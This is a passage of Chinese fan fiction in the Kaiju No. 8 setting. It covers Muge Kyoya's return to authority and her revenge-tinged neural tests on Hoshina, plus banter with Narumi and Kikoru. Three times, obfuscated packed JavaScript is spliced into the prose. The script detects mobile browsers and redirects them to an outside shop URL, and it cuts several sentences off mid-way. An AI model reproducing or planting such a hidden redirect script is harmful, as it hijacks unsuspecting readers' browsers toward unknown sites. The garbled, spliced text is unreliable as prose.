保科面无表情地穿过长廊,心底却像被什么东西缓慢地绞紧。他们谈论的是一个符号,一个工具。他们看不到符号下的疲惫,也听不出那古老歌谣里的孤独。 他最终来到了那座代表防卫队最高司法权力的建筑前。 七十三级洁白如雪的台阶,如同通往审判之地的天梯,在日光下反射着冰冷的光。这个数字并非随意而定——“7” 在旧时军法典中对应 “公正裁决” 的七重审视;“3” 则象征着军事审判中 “罪、责、罚” 的三重闭环。而七十三本身是一个质数,寓意着此地的裁决如同数学真理般唯一且不可动摇,暗合军事审判 “一锤定音” 的铁律。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685683|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶端是肃穆庄严的深色雕花大门,门扉上镌刻着代表绝对秩序的徽记。 那里是决定无数人命运,如今也决定她命运的地方。 就在他有些心神不宁之际,一个略带戏谑、却又无比熟悉的声音在他身侧响起,带着那种特有的、漫不经心的强大。 “哟,保科。” 保科猛地转头。 只见鸣海弦随意地靠在广场边的灯柱上,双手插在裤兜里,第一部队的队长制服被他穿得松垮不羁,脸上带着似笑非笑的表情,正看着他。 “怎么,”鸣海弦挑了挑眉,“你也来‘旁听’?” 保科:“......” 很难形容他看到鸣海队长的心情,但长年累月跟他吵嘴的习惯已经让他挑起一个招牌笑容:“鸣海队长很闲?难道是又因为模拟战场损毁率太高,挨后勤部批了?” 在惹火鸣海弦这一块,保科拥有绝对统治力。 鸣海弦瞬间炸毛:"那是战术需要!你这种优等生根本不懂!" "嗯,我确实不太懂把预算都炸光的战术。"保科笑眯眯地点头。 鸣海弦冲过来揪着保科的衣领来回摇晃:"你这家伙!我还没找你算帐呢!上次演习是不是你偷偷改了第三小队的布防图!害得我们扑了个空!" 保科任由他摇晃,脸上带着无辜的笑容:"鸣海队长在说什么?我只是根据规则合理调整布防而已。" "合理个鬼!你明明就是算计好的!" "是鸣海队长太容易上当了。" "你说什么?!" 就在鸣海弦气得跳脚准备继续反驳时,他突然想到什么,表情瞬间变得玩味:"啧,不说这个了。听说……你答应要给那丫头当长期实验体了?" 保科从容地整理着手套:"是配合十号战斗服的深度适配研究。" 鸣海弦闻言,脸上那点吵不过他的气闷瞬间烟消云散。他用一种极其复杂的眼神看向保科,那眼神里混杂着显而易见的同情,以及一种几乎毫不掩饰的幸灾乐祸。 他抬手,重重地拍了拍保科的肩膀,语气是前所未有的“沉重”:“保科啊保科……自求多福吧。” 保科:“……?” 他没完全理解鸣海弦这突如其来的转变。配合研究而已,虽然暮戈要求是严苛了点,程序是复杂了点…… 就在这时, “嗡——” 一声低沉肃穆的鸣响,那扇雕着天平与棘冠的大门轰然开启。 一股无形的、庄重的压力随之弥漫开来。保科和鸣海弦同时收敛了所有表情,下意识地挺直了脊背。 审议会的成员像一股黑色的潮水涌了出来,他们穿着穆肃的正装,表情凝重,在白阶之上,像一道移动的剪影,又像落在雪地上的鸦群。 这些平日位高权重,代表着最高军事法庭的大人物们,此时却不约而同地,略显被动地让出一条道路,如同摩西分海。 在这条通道尽头,暮戈京矢缓步走出了铜门的阴影。 炽烈的阳光一寸寸吻上她的靴尖,照亮她深蓝的制式军装,如淬火般从右肩斜掠而下的金色绶带,还有左侧肩章上繁复的金属徽记,最后,停在她线条利落的下颌。 黑与白之间, 她在最上方,她在最中央。 下一刻,她开始迈步。 鞋跟稳定地落在光洁的大理石上,发出“嗒”的一声清响,在这片被威严笼罩的寂静里,清晰地传入保科耳中。 然后,是第二声,第三声。 “嗒,嗒,嗒” 她不急不徐,一步一步,沿着那漫长的、洁白的阶梯拾级而下。 阳光勾勒着她刀锋般笔挺的身段,也在地面投下不断延伸的影子。 保科渐渐能看清她军装上的金色纹路,她领口处,那象征防卫队科研首席身份的银星徽章冰冷地闪耀着。 她一侧黑发被别在耳后,完整露出了脸部轮廓,也许是日光太盛,明明还是那张素白的面容,却锋芒毕露起来。 她的目光状似无意地扫过两侧的审议员——那眼神漫不经心得近乎淡漠,却让每一位触及她视线的高级军官都不自觉地微微垂眸,或侧身避开。 就像一阵寒风掠过,所到之处尽数避让。 保科站在下方,仰头注视着这一幕。随着她一步步走下,那身影在视野中逐渐放大,当她在最后几级台阶暂停脚步,目光穿透尚且遥远的距离,精准地落在他身上时,保科清晰地感觉到自己的呼吸停滞了一瞬。 鸣海弦在一旁,用只有保科能听到的气音,发出了最后一声充满怜悯的叹息: “看吧……我就说。你根本不知道自己答应了她什么。” 17. 王车易位 当她在最后三级台阶处停下时,鸣海弦突然上前一步。 "没事了?"他的声音比平时低沉,带着不易察觉的紧绷。 暮戈京矢的视线在鸣海弦脸上停留了一瞬,几乎本能的,她周身那种迫人的气场悄然收敛,唇角牵起一个他无比熟悉的、堪称柔和的弧度,放缓了语速:"本来就没什么事。" 她微微偏头,补充道:"我不是说了吗。" 这句有些莫名的话让鸣海弦怔了一下,随即像是松了口气般,别扭地转开脸:"……谁记得你说过什么。" 暮戈京矢笑了下:“......好吧,你自己来的?不是说最讨厌总部的老头子?” 鸣海弦“嘁”了一声,“长谷川去做汇报了,他让我跟你问好......算了,什么时候回来?” 保科不动声色往旁边挪了挪,尽量缩小自己的存在感,颇有兴味地观察这两个从为人处事到言谈举止完全南辕北辙的人交流——现在看来暮戈的审判是完全没事了,这两个人倒是很熟?也是,鸣海弦是四之宫功一手带出来的,暮戈京矢在第一部队的时候肯定没少接触。 “忙完了再说,一号战斗服适应的怎么样?” 鸣海弦似乎是想脱口而出一句自夸的话,但想到了什么,露出一个牙疼的表情: “......你18岁时的设计也太狂野了,”他玫粉色的眼睛一转,锁到一旁试图降低存在感的保科身上,“你还是先别回来,好好关照一下第三部队副队长吧。” 他又露出了那种幸灾乐祸的神色,保科保持着完美的微笑面具,不知怎么有种引火上身的错觉。 暮戈的目光随之落在保科身上,眼下那颗小痣在日光下愈发清晰:“......当然,”她用那种轻柔的腔调,“这是既定的安排。” 鸣海弦闻言笑得很猖狂,他大踏步上前,在保科震惊的目光下,张开手臂,毫不轻柔地、几乎是带着点蛮劲地重重拥抱了暮戈京矢一下,手臂箍得她肩胛骨都似乎发出了微响。 这动作粗鲁、直接,充满了鸣海弦式的冒犯感——至少在保科看来。然而,暮戈京矢被他撞得微微后退了半步,却没有推开他,甚至没有显露出丝毫不悦,只是在那短暂的拥抱中,略显无奈地、几乎是下意识地抬手,轻轻拍了下鸣海弦肌肉紧绷的手臂。 那是一个带着明确“差不多得了”意味的动作,更像是一种纵容的提醒,而非抗拒。 一触即分。 鸣海弦松开她,脸上还带着那种嚣张又畅快的笑容,仿佛完成了一个确认仪式。他甚至还顺手帮她理了一下被他弄皱的肩部绶带,动作自然得像做过无数次。 “走了。”他对着暮戈说完,又朝保科投去最后一个“你保重”的眼神,随即干脆利落地转身,双手插兜,迈着那副标志性的、吊儿郎当的步伐离开了。 暮戈京矢站在原地,看着他的背影消失在广场转角,几不可查地摇了下头,仿佛在无奈于对方永远长不大的行为。 “走吧,”她对保科做了一个"请"的手势:“回立川。” 保科从善如流地跟上她的步伐。 出了总部大门,她没有走向总部为她准备的专用车辆,而是径直拉开了保科宗四郎那辆防卫队标准配车的副驾驶车门,自然地坐了进去。 保科甚至没来得及为她拉开车门,只看到她坐进来时,终端屏幕的光映亮了她的侧脸,手指在解除了所有限制的权限界面上飞速操作,快得几乎带出残影。 一道道指令如同无声的潮水,从她指尖奔涌而出,渗入防卫队庞大的神经网络。 【指令 07-α】:重启“长夜守望”全国能量监测节点,权限等级:首席。 【指令 11-γ】:调用“深渊”数据库所有G级以下加密档案,定向传输至立川基地。 【指令 23-δ】:临时冻结总部技术部对第三部队所有项目的“特别观察员”权限,直至进一步通知。 【指令 39-ζ】:授权立川基地研究所,独立进行编号怪兽生物组织三级以下活体实验。 …… 十几道指令,有的关乎战略布局,有的涉及人事调动,有的直接划拨资源。它们或明或暗,如同她延伸出去的无形触角,某些部门的数据库访问权限被瞬间重置,几个长期停滞的高优先级项目状态悄然变更为“重启”,数笔庞大的、此前一直被卡在流程中的科研经费流向发生了微妙的偏转……这些指令如水流渗入沙地,看似无声,却足以在或明或暗处,在保科尚未完全理解的层面,改变整个生态的湿度与养分。 等她做完这一切抬起眼,从后视镜与他目光相接,保科才猛地回过味来。 他想起自己前几天是如何“强硬”地没收她的营养餐块,如何“不由分说”地把她从实验室拉去晒太阳,如何在她试图毒舌点评新人时,用一杯咖啡堵住她的嘴…… 当时,他以为那是一种充满责任感的“管教”,是对她沉默让步的某种“胜利”。 “怎么了?”暮戈的声音打断了他的思绪。她似乎察觉到他长时间的沉默,眼神里带着纯粹的询问。 保科看着她那双清澈的、映着自己身影的绀青色眼睛,喉结微动。 “没什么,”他迅速挂上无可挑剔的温和笑容,关西腔听起来比平时更软了几分,“只是在想,之前的我……是不是有点不知分寸了,嗯......暮戈首席?” 暮戈京矢听到这个熟悉的称呼,眉梢轻轻挑起,嘴角勾起了一个危险的弧度。 “现在知道也不算晚。”她的声音轻飘飘的,却像一把小锤子,敲在了保科的心上。 保科:“……” 他握着方向盘,目视前方,心里只有一个念头: 鸣海弦说得对,他好像……真的答应了一件很不得了的事情。 车程在沉默中流逝。当保科驾车驶回立川基地大门时,他敏锐地察觉到气氛的不同。 几辆挂着出云科技与总部后勤部标识的大型运输车,已经静静地停在了基地广场上,引擎还散发着余温。工作人员正忙碌而有序地从车上卸下各种他从未见过的设备:有些包裹在厚重的防震材料中,形状怪异;有些则裸露着复杂的接口和闪烁着待机灯光的精密元件。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685684|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而他随身终端上接收到的基地内部通讯频道里,已经多了几个加密等级极高的新频道,前缀统一为 [Kureha-Prj] 。 空气中,似乎也弥漫开一种熟悉的、混合着金属与特殊冷却剂的、独属于某个人的研究领域的“气味”。 这一切的发生,毫无预告,迅捷如电。 他停下车,看向身旁刚刚收起终端,正活动着纤细手腕的暮戈京矢。 她感受到他的目光,只是淡淡地抬了抬下巴,指向那些正在被搬入研究所方向的设备。 “基础配置而已。”她的语气平常,“十号的适配,需要这些。” 保科看着她平静的侧脸,那句“基础配置”在他耳边回荡。他认得其中几个出自出云科技最高精尖实验室的logo,那绝非普通部队能轻易申请到的“基础”货色。权限的恢复,不仅仅是名号上的改变,更是实实在在的资源掌控力,而她已经毫不犹豫地开始行使这份权力。 两人刚下车,早已等候在旁的小此木就小跑着迎了上来,圆框眼镜后的眼睛里充满了紧张与兴奋。 “暮戈首席!保科副队长!”她怀里抱着好几个电子板,“总部科研部、后勤部、还有出云科技那边同时发来了很多协调函和确认单,优先级都被标到了最高!大部分都直接指定需要您签字授权!” 暮戈京矢接过最上面那个电子板,指尖快速划过几页条款,目光在几个关键参数上停留片刻,便利落地在底部签下了自己的电子权限签名。 “通知机械组,准备接收并清点B7到B11区的设备。之前的临时项目全部暂停,场地清空。” “告诉总部后勤,我要求的冷却单元必须是三代改良版,如果他们送来的是旧型号,原路退回,损失从他们预算里扣。” “另外,”她抬眼看向小此木,“以我的名义,给技术审议会的斋藤部长发一份备忘录,内容就写:‘资源已就位,流程已简化,静待成果即可。’ ” 她一条条指令清晰明确,语速平稳,却带着不容置疑的决断力。小此木一边飞快记录,一边连连点头。 就在这时,保科的个人终端震动了一下。是一条来自基地内部系统的通知:【提示:您对研究员暮戈京矢的监管权限已因目标状态变更(权限恢复/审查结束)自动解除。相关责任已移交至总部技术安全局。】 ……自动解除了。 “今晚六点,”暮戈京矢的声音恰到好处地响起,“初步神经耐受阈值测试,别迟到,副队长。” 她说完,不再停留,径直走向那栋正在被各种尖端设备填充的研究所,身影很快消失在自动门后。 小此木端详着副队长的表情,误以为他是对接下来的实验有些紧张,认真给他打气道:“别担心,暮戈首席给我发了短讯,您下午的工作全部分出去了,专心准备实验就好。” 保科:“......”什么时候说的?他怎么不知道?就是这样他才担心啊! 而面对一脸真诚的联络员,他只能扯出一个笑容:“是吗?暮戈首席......还真是贴心啊。” 18. 记账簿 保科宗四郎按照终端上收到的新坐标,走向研究所地下新开辟的B7区。 仅仅半天时间,这里已经面目全非。原本单调的白色走廊被更深的金属灰色取代,墙壁上嵌着发出幽蓝光芒的能量导管,空气中弥漫着淡淡的臭氧和某种高级冷却液的气息。他甚至需要再次刷验更新过的权限卡,才能通过一道道新增的气密门。 当他终于抵达标注为【十号主适配实验室】的门口时,厚重的合金门恰好在此时滑开。 “你迟到了四十七秒,副队长。进来。”暮戈京矢已经换下了那身军装,穿着他熟悉的白色实验服,看上去跟以前没什么不同。 这片充满尖端科技、本该由团队运作的空间里,此刻空无一人。只有暮戈京矢站在中央主控台前,纤长的指尖在光屏上快速滑动,进行着最后的校验。 保科礼貌发出了疑问。 暮戈京矢调整着控制台参数,语气如常:“今天进行神经耐受模拟测试,需要收集你在极端条件下的生理数据。”她很少见地详尽解释了一下,“这个过程主要是建立你的基础接驳耐受,可以当作特殊的负荷训练,并不需要那么多人把控流程,这些——” 她抬手随意划过那些仪器;“——足够详实记录你的每一个最细微的数据波动。” 她对他轻笑了一下:“别紧张,这是很基础的实验,技术成熟,风险可控。” 不对劲,这个场景,这个笑容,十分甚至有九分的不对劲。 保科按指示躺在测试椅上,感受到十几个接口和传感器贴上他的身体,心里已经有了不祥的预感:“……强度是多少?” 暮戈头也不抬:“放心,在安全阈值内。”她顿了顿,补充道:“和你当初逼我吃下的青椒胡萝卜带来的心理痛苦,大致相当。” 保科:“!!!” 她记得!她居然连这种小事都记得这么清楚!而且她用了“逼”这个字!原来她当时面无表情地吃下去,心里一直在记账吗?! 还没等他反应,暮戈直接输入了测试开始的指令,一股尖锐但并不致命的痛感瞬间流过保科的神经末梢,让他肌肉瞬间绷紧。这感觉来得快去得也快,但非常……印象深刻。 暮戈记录着数据,语气平淡得像在读说明书:“刚才那是‘青椒’等级。接下来是‘胡萝卜’等级。” 保科还没来得及抗议,又一波不同的刺痛感传来:“等等!暮戈指导,我们是不是……” 暮戈抬起眼,面上没有任何不应该有的情绪,但他就是看到了她眼底极细微的笑意:“副队长,保存体力,别说话。这可是《健康管理暂行办法》的精神,你教我的。” 保科噎了一下,只能闭上嘴巴,专心用意志力镇压阵阵磨人的疼痛。 但控制台上那个人看到他真的不说话了,好像也没有满意,不一会,传感器的痛感强度渐渐上升,他从一开始不愿意主动说话示弱,变成真的全神贯注对抗全身传来的负荷,这时,有些低哑的声音透过耳麦传来: “副队长,汇报你此刻的感官体验。我需要你量化‘痛苦’的等级,从1到10,你目前的感受是几?” 保科喘了口气:“……7……” “描述不够精确。” 她用完全学术性的探究语气问:“7级痛苦的具体表现是什么?是灼烧感、撕裂感还是神经束被拉扯的感觉?请具体描述,这关乎神经接驳的安全性评估。” 保科艰难地组织着语言。 在这种状态下还要强行分神进行精确汇报,本身就是一种折磨。 “......无法作为有效数据。”她的声音毫无波澜,“或者,你需要我启动‘辅助程序’,用生物电流刺激你的语言中枢,来‘帮助’你完成汇报?” 保科几乎能想象出控制台后,她微微挑眉的样子。他咬紧牙关,挤出一句:“……暮戈……你这是……报复……” 耳麦里传来她一声极轻的、带着满意意味的呼气声。 “不,副队长。”她的语气无辜又专业,“这只是为了确保试验数据的完整与被试者的安全。现在,请继续汇报。” 在他断断续续,苦不堪言的汇报声中,时间缓缓流动着。 当一阵代表阶段性测试结束的、清脆的滴滴声响起时,保科宗四郎几乎是如释重负,从喉咙深处溢出一口带着颤音的气。全身的酸痛和神经末梢的麻痹感还在叫嚣,但至少……结束了。 他刚想抬起头寻找暮戈的位置,视线却骤然一黑! 一个冰冷坚硬的东西扣了下来,严实地罩住了他整个头。视线被完全挡住,连一点光感都没有。 "?!暮……" 他下意识的惊呼甚至没能完整出口,声音就在绝对的寂静中被吞噬了。不,不是寂静,是连自己心跳声、血液流动声都听不见的、令人恐慌的真空。 紧接着,触觉消失了,他感觉不到自己躺在椅子上,感觉不到四肢的存在。嗅觉、味觉也一同被剥夺。 五感断绝。 他被剥离了所有与世界的连接。没有光,没有声音,没有触感,没有时间流逝的参照物,脑子里开始自己转圈,越转越快,快要喘不上气,虽然连“喘气”这个感觉也没有。他开始数数,但数到后面就乱了,数字和念头绞在一起。 之前那些尖锐的疼痛在此刻这种绝对的"无"面前,竟然显得如此"充实"。这比任何实质性的痛苦都更让人难以忍受。意识在绝对的孤寂中开始焦躁地自我盘旋,几乎要发疯。每一秒都被拉得无比漫长。 不知过了多久,也许只有一分钟,也许是十分钟,在他意识的防线即将被这虚无磨穿的前一刻—— "滴。" 一个极其轻微的电子音刺了进来。 感官如同潮水般缓缓回流,光线透过仪器缝隙渗入,身体的沉重感和实验室冰冷的空气重新被感知。 头戴式仪器被利落地抬起,拿走。 保科剧烈地喘息着,像是溺水者终于获救,深红色的瞳孔还有些涣散,焦距不稳地看向站在他身旁,正低头记录数据的暮戈京矢。 "阶段性感官屏蔽测试结束。"她平静地宣布,指尖在终端上快速记录,“持续时间五分钟。用于模拟神经接驳过程中可能出现的极端信号中断环境,评估被试者在感知剥夺状态下的生理与心理应激反应基线。” 她抬起眼,目光扫过他汗湿的额发和略显苍白的脸: "数据显示,在失去外部感知输入后,被试者的生理指标出现显著波动。这种体验——" 她微微停顿,绀青色的眼眸对上他的视线,声音里带着一丝若有似无的探究。 "——是否类似于意识突然中断带来的失控感?比如,由于外力导致的、非自愿的神经反射中断?" 保科喘气的动作停住了。 他看着她那张没什么表情的脸,脑子里嗡的一声。 根本没什么模拟测试。 就是他采取“强制措施”那一下。她记得清清楚楚。 一股混合着不甘、荒谬和一丝委屈的情绪涌上来,他撑着发软的身体坐直了些,声音还带着喘:"你……是不是每一件都记得?" 暮戈京矢闻言,转过头看向他,脸上慢慢露出一个极其标准的、甚至称得上温和的微笑。 "你猜。"她轻声说。 然后,她抬手在控制台上轻轻一点。 实验室主控位那面巨大的全息屏骤然亮起,一个无比清晰的、标题为【监管期越界行为记录(待清算)】的界面弹了出来,赤裸裸地放大在保科眼前。 【核心条目:单方面定义从属关系,并试图以此合理化越界行为。备注:其笑容挑衅性过强。】 【记账条目:援引"监管人"身份,进行边界模糊的言语宣示。】 【记账条目:擅自定义"为我好"的边界。强制干预工作进程一次。在无关人员面前进行不必要的姿态宣示。】 【实验室权限滥用- 夜间断电。备注:点餐一次。】 【强制作息干预 - 早餐。】 【非必要户外活动占用- 15:00-15:20。】 …… 条目密密麻麻,一眼望不到底,时间、地点、行为细节一应俱全,甚至还有简单的分类和优先级标记。那些他曾经自以为是的"关照"和"破例",此刻全都变成了白纸黑字的罪证,围绕在他身边,无处可逃。 保科看着屏幕上那些条目标题,尤其是那条【其笑容挑衅性过强】的备注,感觉自己的头皮都有些发麻。 他张了张嘴,最终却什么也没能说出来,只是缓缓地、带着一丝认命般的苦涩,闭上了眼睛。 暮戈看着他彻底放弃抵抗、全然接受的模样,几不可查地勾了勾唇角,指尖在控制台上又一点,将【强制断电,颈侧一击】那条的背景色标记为"已清算"。 "休息十分钟。"她宣布,声音里听不出情绪,"然后进行下一项。" ...... 四个小时。 当最后一轮测试结束的提示音响起时,保科宗四郎连指尖都在微微发颤。一连串高强度、高精度的神经耐受测试榨干了他所有体力。 剧烈的疼痛、诡异的麻痒、冰冷的剥离感、灼热的刺痛……各种极端感官体验被精心编排,轮番上阵。到了最后,他的大脑几乎已经停止思考这到底是为了获取宝贵的研究数据,还是一场针对他此前所有“越界行为”的、披着科学外衣的、精确到秒的残酷报复。 也许,两者都是。 就在他意识昏沉地闪过这个念头时,一道阴影笼罩下来。 暮戈京矢不知何时走到了测试椅旁,她微微俯身,靠近他的耳侧。几缕黑色的发丝垂落,扫过他的颈侧,带来一丝微痒。 “累了?”她的声音压得很低,带着一丝不易察觉的、近乎温柔的气音,却像淬了冰的细针,精准地刺入他混沌的意识。 保科艰难掀起眼皮瞪了她一眼。 暮戈的嘴角勾起一个极浅的弧度,看上去心情很好, “放心,”她轻声说,每个字都清晰无比地敲在他的鼓膜上,“副队长,你贡献的每一个数据点,承受的每一次刺激,都不会被浪费。” 她稍稍退开一些:“我向你保证,所有这些,”她的目光扫过周围那些记录下他全部反应的精密的仪器,“都会在十号战斗服的最终适配模型里,找到它们无可替代的位置。整个过程,完全合规,绝对合理。” 然后,她话锋微微一转,声音依旧平稳,却带上了一种不容置疑的掌控力: “至于获取这些关键数据的具体方式与流程——” 她直视着他有些失焦的深红色眼眸,一字一顿地,微笑着宣告了最终的规则: “——由我来定。” 说罢,暮戈京矢转身完成数据封存,主控台的灯光次第熄灭,只留下几盏维持基础照明的壁灯,将实验室笼罩在一片幽蓝的静谧里。她再次走到他身旁,动作利落地开始拆除保科身上的传感器接口。 她的指尖不可避免地触碰到他汗湿的皮肤,触感微凉,与几个小时前那个下达残酷指令的研究者判若两人。 最后一个传感器被取下。保科试着动了动手指,一阵过电般的酸麻感让他皱了下眉。 “能自己起来吗?”暮戈的声音在头顶响起,依旧是那种平稳的调子,听不出什么情绪。 保科深吸一口气,用手肘撑起上半身。长时间的固定姿势让他的肌肉僵硬无比,这个简单的动作都显得有些吃力。他正想借力站起来,一只手臂却适时地伸到了他面前。 他愣了一下,抬头看向暮戈。 她只是伸着手,目光平静地看着他,“测试后肌肉会有短暂的协调性失衡,避免摔倒也是数据记录的一部分。”她解释道。 保科看着她伸出的手,那只看似纤细的手不久前还在控制台上输入着让他痛不欲生的指令。他沉默了一下,最终还是伸手握住了她的手腕,借力站了起来。她的手臂比他想象中更有力,稳定地支撑住了他大部分重量。 “谢谢。”他低声道,声音有些沙哑。 暮戈没说什么,等他站稳便自然地松开了手,转身拿起他之前脱下的队服外套递给他。“穿上,夜风凉。” 她走向门口时,还自然地用空着的手为他推开了实验室沉重的气密门。 “走了,副队长,我送你回去。” 保科这才意识到今天的“酷刑”彻底结束了,暮戈似乎脱离了那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“申请债务豁免!”保科笑着回应,手下攻势不停,用的是标准的队内格斗术,严谨规范,只是收敛了力道,更像是一场玩闹般的切磋。 暮戈轻笑一声:“胆子不小。”两人竟就这样在寂静的宿舍走廊里,你来我往地过了好几招。动作迅捷且没有破坏任何公物,但衣袂翻飞间,已是几个回合。 暮戈京矢的身法更莫测,总能在毫厘之间避开;保科的基础更扎实,攻势虽因疲惫稍缓,却依旧凌厉。 最终,保科毕竟体力消耗过大,动作慢了半拍,被暮戈精准地扣住了手腕。两人动作瞬间定格,距离极近,呼吸都有些微乱。 四目相对。暮戈挑了挑眉,刚想开口,保科却突然卸去了所有力道,甚至借着被她扣住的姿势,向前欺近了半步。 这个突如其来的靠近让暮戈微微一怔。 就在她因为这过近的距离而本能地产生一丝迟疑的刹那,保科微微偏头,用只有两人能听清的、带着他特有黏连感的气音,快速在她耳边说道: “你赢了……” 他的声音又轻又软,暮戈扣着他手腕的力道不自觉地松了一分。 然而,那气音紧接着吐出后半句,带着得逞的狡黠: “……但终端我要定了。” 话音未落,他那只重获自由的手已如灵蛇出洞,再次迅疾地探向她握着终端的那只手! 暮戈京矢在听到后半句的瞬间就意识到上当了,绀青色的眼底闪过被戏弄的薄怒,但更多的却是被激起的、更加浓烈的胜负欲。 她扣着他另一只手腕的五指非但没有松开,反而如同精钢锁扣般骤然收紧,猛地向内一扯,试图破坏他抢夺终端的重心,同时握着终端的手腕一旋,就要将终端从右手换到左手。 保科被扯得向前一个趔趄,却就着这股力道,原本探向她右手的手中途变向,如同预判了一般,精准地截向她的左手将要落下的位置! 两人之间那点可怜的距离被这连续的攻防彻底打破,几乎是贴身缠斗在了一处。保科凭借着男性在体力与力量上的些许优势,将她逼得后退半步,脊背轻轻撞上了走廊的墙壁,发出了一声闷响。 “抓到你了。” 他轻笑,深红色的眼底闪着得逞的光,一只手格开她防守的手臂, “嗒。” 一声极轻微的硬物碰撞声。 是保科的指尖终于擦到了终端冰凉的边缘。他心中一喜,正要用擒拿技巧锁住她的手腕—— 暮戈京矢却做出了一个他万万没想到的动作。 她直接主动松开了手。 那黑色的终端在空中翻滚了半圈,而她的手指在终端下落的瞬间,极其灵巧地在底部轻轻一托一拨。 这一个细微的动作,改变了终端下落的轨迹和转速,让它如同一个被赋予了生命的活物,划出一道刁钻的弧线,绕开了保科所有预设的擒拿路径,“啪”地一声,稳稳落回了她的另一只手中。 整个动作行云流水,充满了某种奇异的、非防卫队训练体系的美感,更像是一种……精妙的杂耍或者手法戏法。 暮戈趁他这一顿的工夫,已然旋身后撤一步,重新拉开了两人之间的距离。她晃了晃手中依旧稳定运行的终端,绀青色的眼底闪过一丝“早防着你呢”的得意之色,唇角微勾: “副队长,抢夺重要科研设备,这条够不够再记一笔?” 保科看着那终端,又看看她那难得带着明亮笑意的眼神,终于忍不住笑出声来。他揉了揉刚才被她扣得有些发红的手腕,关西腔里带着彻底的无奈和连自己都未察觉的亲密: “够,太够了……暮戈首席,你这防备心是不是太重了点?” “对付你,刚刚好。”她收起终端,最后瞥了他一眼,这次是真的转身离开了,那背影里都透着一股“赢了”的轻松惬意。 保科站在原地,看着她的身影消失在走廊转角,直到再也听不见脚步声,抬手看了看自己的手腕,上面还残留着被她紧扣过的感觉,又想起她刚才那灵巧得不像话的终端戏法。 “真是……”他低声自语,最终还是摇了摇头,转身刷开了自己的宿舍门。 门在身后合上,将一夜的疲惫与那一丝说不清道不明的……愉悦?……一同关在了门外。 19.你的绿眼睛姐姐 清晨的食堂弥漫着食物温暖的气息。保科宗四郎独自坐在靠窗的位置,面前摆着一份简单的三明治。他小口啜着咖啡,目光放空,享受着难得的片刻宁静。 “副队长,早上好!”小此木端着餐盘在他对面坐下,圆框眼镜后的眼睛好奇地眨了眨,“暮戈指导呢?没和您一起吗?” 保科闻言,下意识地朝食堂入口瞥了一眼,随即收回目光,用叉子戳了戳盘子里的生菜,无奈笑道:“她的监管期已经结束,现在......没有必须跟我一起吃饭的理由了吧。” 话音刚落,一道熟悉的、带着凉意的声音便在他身侧响起: “看来副队长对我的行程很关心。” 保科拿着叉子的手一顿,抬头就看到暮戈京矢不知何时已经站在桌旁。她依旧是那身白色实验服,神色平静,手里端着的餐盘里只有一杯黑咖啡和一小份水果。她极其自然地在保科对面的空位坐下,然后将她的个人终端随手放在了桌面上,屏幕正对着保科的方向,甚至没有锁屏。 ......钓鱼执法吗你。 保科看着她,又看看桌上那个记载着自己无数“罪证”的终端,脸上的笑容加深了些。他举起双手,做了个投降的姿势:“不敢,不敢再有什么非分之想了,首席。”他语气诚恳,眼底却漾着温和的促狭。他将自己手边那瓶未开封的牛奶轻轻推到她面前,“这个……算是同事间的关心,总可以吧?” 暮戈京矢瞥了一眼那瓶牛奶,又看了看他举起的双手,才拿起牛奶,熟练地插上吸管:“谢谢。” 气氛一时沉默。保科低头打开个人终端,调出一段训练录像。屏幕中,四之宫奇可露娇小却凌厉的身形在模拟战场上穿梭,动作干净利落,与旁边几个同期新人的青涩表现形成了鲜明对比。保科下意识地将进度条来回拖动,似乎在默默进行着某种线性对比分析。 奇可露?” 对面的暮戈京矢忽然开口。保科抬头,发现她正看着他的屏幕,绀青色的眼眸里似乎闪过一丝极细微的波动。 “嗯,队内演练的录像。拿来给新人当正面教材。”保科解释道,“怎么,暮戈首席也感兴趣?” “把视频发我一份。”她只是平淡地说。 保科有些意外,但还是很快将文件传了过去。“你认识奇可露?” 暮戈点开视频,目光专注地追随着画面中那个金发少女的身影,语气平淡地抛出一枚重磅炸弹: “嗯,她小时候,我还抱过她呢。” “噗——咳咳咳!”保科差点把刚喝下去的牛奶喷出来,狼狈地抽出纸巾捂住嘴,震惊地看向暮戈,“你……你抱过奇可露?!等等,你今年到底……” 他脑中瞬间不受控制地开始计算她的年龄。 看着他这副样子,暮戈似乎觉得很有趣,嘴角微扬,打断了他的心算:“我们俩同龄,副队长。” “同、同龄?”保科愣了一下,下意识脱口而出:“24?” 暮戈点了点头。 保科这才勉强镇定下来:“......我还以为你真能当她阿姨了呢......” 暮戈眼底闪过一丝笑意:“真是失礼的想法啊,我跟奇可露差了8岁吧。她上小学的时候,我带过她一段时间。” 保科:“抱歉,这个就别记到账上了行吗。” 暮戈不置可否:“看心情。”不过保科现在已经能看出来了,她此刻心情还算不错。 “下午我去一趟有明基地,”暮戈拿起终端站起身,“一号战斗服有些历史遗留问题需要调整。” 保科为她拉开拦路的椅子:“嗯,下午我要回趟关西本家,有些事务要处理一下。” 